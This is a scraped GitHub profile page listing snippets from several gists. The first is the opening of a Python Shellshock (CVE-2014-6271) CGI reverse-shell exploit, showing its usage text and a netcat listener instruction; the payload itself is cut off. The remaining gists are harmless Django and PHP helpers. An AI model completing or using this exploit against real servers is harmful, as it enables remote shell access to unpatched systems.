Skip to content

Instantly share code, notes, and snippets.

View elinaldosoft's full-sized avatar
🎯
Focusing

Elinaldo Monteiro elinaldosoft

🎯
Focusing
View GitHub Profile
#
#CVE-2014-6271 cgi-bin reverse shell
#Use netcat -l -p 8080 to receive the reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi '10.0.0.1 8080'" % sys.argv[0]
@elinaldosoft
elinaldosoft / gist:9741654
Created March 24, 2014 14:52
Exemplo Filtros Dinâmicos
class CategoriaFather(admin.SimpleListFilter):
title = 'Categorias'
parameter_name = 'parent__id__exact'
def lookups(self, request, model_admin):
ids = list()
names = list()
for cat in Categoria().get_roots():
public function buildQuery($conditions = array()) {
$conditions_solr = array();
if (isset($conditions["count"]) && !empty($conditions["count"])) {
return "fl=id";
}
if (isset($conditions["fields"]) && !empty($conditions["fields"])) {
$conditions_solr["fl"] = "fl=" . implode("%2C+", $conditions["fields"]);
}
@elinaldosoft
elinaldosoft / getSizeBytes.php
Last active December 16, 2015 10:39
Esse método receber um value do tipo String no formato 1mb 1m 1MB, GB,KB,TB e transforma em uma cadeia de bytes. desconverte Megabyte (Mb), Gigabyte (Gb), Terabyte (Tb) para Kilobyte (Kb); $out = $this->getSizeBytes('1MB'); echo $out; 1048576
public function getSizeBytes($value){
$BYTES = 1024;
$mb = array('mb','m');
$kb = array('k','kb');
$gb = array('g','gb');
$tb = array('t','TB');
$formts = array_merge($kb, $mb, $gb, $tb);
$greatness = is_string(substr($value, -2, 2)) ? substr($value, -2, 2) : substr($value, -1, 1) ;
$size = str_replace($formts,'',$value);
switch ($greatness) {